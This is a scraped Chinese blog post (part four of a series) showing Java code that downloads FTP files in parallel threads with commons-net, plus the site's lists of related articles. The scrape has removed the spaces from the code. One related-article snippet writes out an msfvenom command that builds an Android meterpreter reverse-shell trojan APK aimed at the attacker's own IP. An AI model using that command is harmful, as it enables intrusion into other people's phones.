文档章节

用commons-net包写Ftp客户端下载(四)

DavidBao
 DavidBao
发布于 2014/12/16 22:34
字数 822
阅读 43
收藏 0

上次说了,下载速度太慢,原因是文件太多,而且每下载一个文件都需要连接一次FTP。造成了时间的大量浪费。

所以,多线程啦。。。。。

话不多说上代码。。

线程类。。

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
importjava.io.File;
importjava.util.ArrayList;
importjava.util.List;
 
importorg.apache.log4j.Logger;
 
importcommon.DownloadStatus;
importdomain.FtpFile;
importutil.ConfigInfo;
importutil.FtpHelper;
 
 
 
publicclassFTPDownLoadThreadextendsThread {
    privatestaticLogger logger = Logger.getLogger(FTPDownLoadThread.class);
     
    privateList<FtpFile> list;
    privateString local_downLoad_dir;
     
     
     
    publicFTPDownLoadThread(List<FtpFile> list, String localDownLoadDir,String threadName) {
        super();
        this.list = list;
        local_downLoad_dir = localDownLoadDir;
        super.setName(threadName);
    }
     
    @Override
    publicvoidrun() {
        String name = Thread.currentThread().getName();
        if(list==null||local_downLoad_dir==null){
            logger.error("线程"+name+"参数错误");
            return;
        }
        intnum = list.size();
        intcount =0;
        intflag =0;
        for(FtpFile file : list) {
            count++;
            logger.info("线程"+name+"开始下载"+num+"个文件中的第"+count+"个文件");
            //FTP连接
            FtpHelper ftpHelper =newFtpHelper();
            ftpHelper.connect(ConfigInfo.getFtpHostName(),
                    ConfigInfo.getPort(), ConfigInfo.getUsername(), ConfigInfo
                            .getPassword());
             
            //该文件工作空间集合
            List<String> filepath = file.getList();
            //文件下载到本地的路径
            String local_path = local_downLoad_dir;
             
            // 变更工作目录
            // 组合下载路径
            for(inti =0; i < filepath.size(); i++) {
                //如果是空间默认的开始工作空间
                if("/".equals(filepath.get(i))) {
                    local_path += filepath.get(i);
                }else{
                    //其他的工作空间
                     
                    //变更工作空间
                    ftpHelper.changeDir(filepath.get(i));
                     
                    //组合本地路径
                    local_path += filepath.get(i) +"/";
                }
            }
 
            logger.info("组合之后下载目录为:"+ local_path);
             
            //如果本地工作路径不存在,建立目录
            File local_file =newFile(local_path);
//          synchronized (local_file) {
                if(!local_file.exists()) {
                    local_file.mkdirs();
                }
//          }
 
             
            //进行下载并返回下载结果
            Boolean status = ftpHelper.downloadonefile(file
                    .getFileName(), local_path + file.getFileName());
 
            if(!(status))
                flag++;
 
            //断开FTP连接
            ftpHelper.disconnect();
 
        }
         
        if(flag !=0) {
            logger.error("线程"+name+"下载失败");
        }
        logger.info("线程"+name+"下载成功.......");
         
 
    }
 
    publicList<FtpFile> getList() {
        returnlist;
    }
    publicvoidsetList(List<FtpFile> list) {
        this.list = list;
    }
    publicString getLocal_downLoad_dir() {
        returnlocal_downLoad_dir;
    }
    publicvoidsetLocal_downLoad_dir(String localDownLoadDir) {
        local_downLoad_dir = localDownLoadDir;
    }
     
     
}

其实就是把之前的下载弄成一个线程类。。。

然后客户端方法代码:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
publicbooleanexecuteDownload(List<FtpFile> list) {
        logger.info("进入FtpDownloadServiceImpl的executeDownload方法");
        // 建立FTP连接工具类
 
        intnum = list.size();
        logger.info("遍历ftp目录里面文件的个数为"+ num);
 
        System.out.println("-----------------------------"+list.get(0).getList());
 
 
        String local_downLoad_dir = ConfigInfo.getFtpDownLoadDir();
        logger.info("得到配置文件中下载目录为:"+ local_downLoad_dir);
 
        intnum_thread = ConfigInfo.getThreadNUM();
        intper = num/num_thread;
        List<FTPDownLoadThread> threads =newArrayList<FTPDownLoadThread>();
        for(inti=1;i<=num_thread;i++){
            if(i==num_thread){
                //System.out.println(list.subList(i*per, num));
                FTPDownLoadThread thread  =newFTPDownLoadThread(newArrayList<FtpFile>(list.subList((i-1)*per, num)), local_downLoad_dir, i+"");
                thread.start();
                threads.add(thread);
            }
            else{
                //System.out.println(list.subList(i*per, num));
                FTPDownLoadThread thread =newFTPDownLoadThread(newArrayList<FtpFile>(list.subList((i-1)*per, per*i)), local_downLoad_dir, i+"");
                thread.start();
                threads.add(thread);
            }
             
             
        }
        for(FTPDownLoadThread thread : threads){
            try{
                thread.join();
            }catch(InterruptedException e) {
                e.printStackTrace();
            }
        }
         
         
        //判断返回结果
        logger.info("进入FtpDownloadServiceImpl的executeDownload方法结束");
        returntrue;
    }
这里没啥东西,就是根据线程数量,平均分配下载文件,然后启动下载。。

这里需要注意的就是关于主线程和子线程。。由于这个webservice需要返回结果,就是是否完成,所以,主线程必须等待子线程完成。所以这里需要试用join方法。保证必须子线程全部完成。

但是有遇到问题了,报错说 socket无法连接。。。这是下次要说的了。。

© 著作权归作者所有

DavidBao
粉丝 114
博文 213
码字总数 126729
作品 0
昌平
私信 提问
加载中

评论(0)

用commons-net包写Ftp客户端下载(三)

由于上次说了,如果客户端遍历FTP服务器的话,如果FTP上文件数量很大,那样的话,递归遍历的时间会超级长。。 (还没有说明。。我们这是EJB项目。。是FTP服务器上调用我的这个客户端进行下载...

猴子
2011/10/20
506
1
用commons-net包写Ftp客户端下载(四)

上次说了,下载速度太慢,原因是文件太多,而且每下载一个文件都需要连接一次FTP。造成了时间的大量浪费。 所以,多线程啦。。。。。 话不多说上代码。。 线程类。。 import java.io.File;im...

猴子
2011/10/20
600
2
用commons-net包写Ftp客户端下载(一)

由于需要客户需求,需要把Ftp上的所有文件下载到本地,包括目录和文件。看到文件数量的时候我就哭了。。 几万个文件,晕死。这个地方我遇到的几个困难我会一一说明。 下载commons-net包我就不...

猴子
2011/10/20
4.4K
1
FTP断点续传卡死的问题。

用Apache Commons-Net包中的FtpClient做文件上传,从手机上传到服务器,手机使用WiFi连接,Server是Linux的vsftpd搭建的。 有以下特殊情况:上传文件到一半的时候,手动关掉WiFi致其上传失败...

摆渡者
2015/07/29
1.9K
0
用commons-net包写Ftp客户端下载(二)

上次写完了工具类,那么然后就是另一个工具类了。 1.也就是对ftp上文件的遍历。 这里我发现了一个问题,下载文件的时候,每次都得重新连接,也就是一次连接只能下载一个文件。 虽然到最后我也...

猴子
2011/10/20
892
0

没有更多内容

加载失败,请刷新页面

加载更多

MySQL DROP所有表,忽略外键

是否有一个很好的简单方法从MySQL数据库中删除所有表,忽略可能存在的任何外键约束? #1楼 这是一个基于游标的解决方案。 有点冗长但作为单个SQL批处理: DROP PROCEDURE IF EXISTS `drop_a...

技术盛宴
39分钟前
64
0
03-ObjectArx-创建圆

1.由于两点创建圆用到根据两点计算圆心和半径,新建筛选器CwCalculation,并新建类CwCalculation CwCalculation.h #pragma onceclass CwCalculation{public:CwCalculation(void)...

caiweicaiwei
54分钟前
61
0
使用Kali linux生成木马入侵局域网安卓手机

1、首先查看本机ip,这里我本机IP地址为192.168.0.105 2、生成木马 msfvenom -p android/meterpreter/reverse_tcp LHOST=你kali的ip LPORT=5555 R > /root/apk.apk 输入上述命令生成木马,这...

回忆是如此忧伤
55分钟前
40
0
被关系数据库建表和升级折磨?因为你没用大道至简的Flyway

前言 六年前Flyway已经是我TDD开发、持续集成工具栈中的重要一环了,作为早期用户,我早就应该为它做个”广告“,可惜对创业者来说时间太宝贵了,现在趁着疫情才有机会在家里总结点东西。虽然...

chentao106
57分钟前
300
1
解决ClientDataSet连接脱离框架导致某些字段无法在客户端修改值的问题

{ function: 解决ClientDataSet连接脱离框架导致某些字段无法在客户端修改值的问题 description: 将一个复制Data的clientdataset做成可写。因为直接赋值cdsData.data=cdsTemp.data会连着dat...

乞丐88
59分钟前
47
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部